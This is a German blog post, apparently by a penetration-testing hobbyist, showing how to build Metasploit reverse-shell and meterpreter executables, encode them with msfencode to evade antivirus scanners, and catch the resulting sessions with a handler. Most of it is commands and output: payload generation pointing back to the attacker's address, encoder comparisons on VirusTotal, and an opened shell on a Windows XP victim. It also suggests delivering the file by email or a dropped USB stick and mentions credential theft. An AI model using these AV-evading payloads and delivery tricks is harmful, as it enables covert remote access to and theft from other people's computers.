no one is safe ...

Metasploit AV evading

Mit Metasploit ist es möglich ausführbare Payloads zu erstellen die beispielsweise eine Reverse Shell zum Angreifer herstellen. Es handelt sich hierbei um eine gewöhnliche ausführbare exe Datei die man dem Opfer in irgendeiner Weise unterschieben muss. Mittlerweile gehören Virenscanner zur Grundausstattung eines jeden Systems und somit ist es wichtig dass die üblichen Scanner unseren Payload nicht erkennen.

Wie erstellen wir nun einen Payload mit einer Reverse Shell?

12:15:11 m1k3-offsec ~/test [root]/pentest/exploits/framework3/msfpayload windows/shell/reverse_tcp LHOST=192.168.1.100 X > payload.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 278
Options: LHOST=192.168.1.100

Um den zu erstellenden Payload so zu kodieren dass ihn möglichst wenige Virenscanner erkennen lässt sich der Payload noch durch msfencode schicken. Zur Auswahl stehen hierfür folgende Encoder (beachtet den Rank):

12:19:40 m1k3-offsec ~/test [root]/pentest/exploits/framework3/msfencode -l

Framework Encoders
==================

    Name                    Rank       Description
    ----                    ----       -----------
    cmd/generic_sh          normal     Generic Shell Variable Substitution Command Encoder
    generic/none            normal     The "none" Encoder
    mipsbe/longxor          normal     XOR Encoder
    mipsle/longxor          normal     XOR Encoder
    php/base64              normal     PHP Base64 encoder
    ppc/longxor             normal     PPC LongXOR Encoder
    ppc/longxor_tag         normal     PPC LongXOR Encoder
    sparc/longxor_tag       normal     SPARC DWORD XOR Encoder
    x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower
    x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder
    x86/countdown           normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive   great      Polymorphic Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha            low        Non-Alpha Encoder
    x86/nonupper            low        Non-Upper Encoder
    x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
    x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

Nun können wir zum Vergleich einen payload mit dem x86/countdown Encoder erstellen und diesen auf Virustotal überprüfen lassen und anschließend erstellen wir einen Payload mit dem x86/shikata_ga_nai Encoder und überprüfen diesen ebenso.

x86/countdown-Encoder:

12:22:47 m1k3-offsec ~/test [root]/pentest/exploits/framework3/msfpayload windows/shell/reverse_tcp LHOST=192.168.1.100 R | /pentest/exploits/framework3/msfencode -e x86/countdown -c 4 -t exe -o payload-countdown.exe
[*] x86/countdown succeeded with size 297 (iteration=1)
[*] x86/countdown succeeded with size 315 (iteration=2)
[*] x86/countdown succeeded with size 333 (iteration=3)
[*] x86/countdown succeeded with size 351 (iteration=4)

7 von 40 Virenscanner finden den schadhaften Code noch ...

x86/shikata_ga_nai-Encoder:

12:24:50 m1k3-offsec ~/test [root]/pentest/exploits/framework3/msfpayload windows/shell/reverse_tcp LHOST=192.168.1.100 R | /pentest/exploits/framework3/msfencode -e x86/shikata_ga_nai -c 4 -t exe -o payload-shikata_ga_nai.exe
[*] x86/shikata_ga_nai succeeded with size 306 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 333 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 360 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 387 (iteration=4)

Und nun waren es nur mehr 6 Scanner ...

Nach verschiedensten Tests mit unterschiedlichen Encodern, unterschiedlicher Anzahl an Interationen liegt die Erfolgsquote der Virenscanner immer zwischen 6 und 9 (von 40 Scannern) erfolgreichen Erkennungen. Nicht sehr berauschende Ergebnisse auf der Seite der Verteidigung ...

Payload in Action

Der Payload muss nun auf dem Opfersystem zur Ausführung gebracht werden. Wie? Möglichkeiten gibt es dazu viele! Beispielsweise einfach per Email verschicken oder dem Opfer per verlorenen USB Stick unterschieben ...

12:45:18 m1k3-offsec ~ [root]/pentest/exploits/framework3/msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 O
[*] Please wait while we load the module tree...

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  seh              yes       Exit technique: seh, thread, process
   LHOST     192.168.1.100    yes       The local address
   LPORT     4444             yes       The local port

12:45:55 m1k3-offsec ~ [root]/pentest/exploits/framework3/msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.100 LPORT=4444 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (192.168.1.100:4444 -> 192.168.1.103:7636)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

E:\payload>

So einfach kann es gehen und schon tunnelt sich eine Shell vom internen Netzwerk zum Angreifer und dieser hat Zugriff auf das interne Netzwerk! Nicht auszudenken wenn das in einem Firmennetzwerk passiert wo der User evtl. auch lokale Administrationsrechte besitzt!

meterpreter Verbindung aufbauen und Credential Diebstahl:

12:50:54 m1k3-offsec ~ [root]/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 R | /pentest/exploits/framework3/msfencode -e x86/shikata_ga_nai -c 3 -t exe -o test/payload-meterpreter-shikata_ga_nai-3encoding.exe
[*] x86/shikata_ga_nai succeeded with size 306 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 333 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 360 (iteration=3)

12:52:13 m1k3-offsec ~ [root]/pentest/exploits/framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Starting the payload handler...
[*] Started reverse handler
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.103:7673)

meterpreter > help
...

Viel Spaß damit ...